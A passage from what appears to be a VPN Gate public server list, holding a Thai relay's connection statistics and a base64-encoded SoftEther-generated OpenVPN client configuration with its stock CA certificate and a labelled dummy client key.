yLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn261371623,171.96.196.82,758113,8,179305437,Thailand,TH,41,95540195,75028,14445848633877,2weeks,LAPTOP-2MIFRVKC's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxNzEuOTYuMTk2LjgyIDE1NzUNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9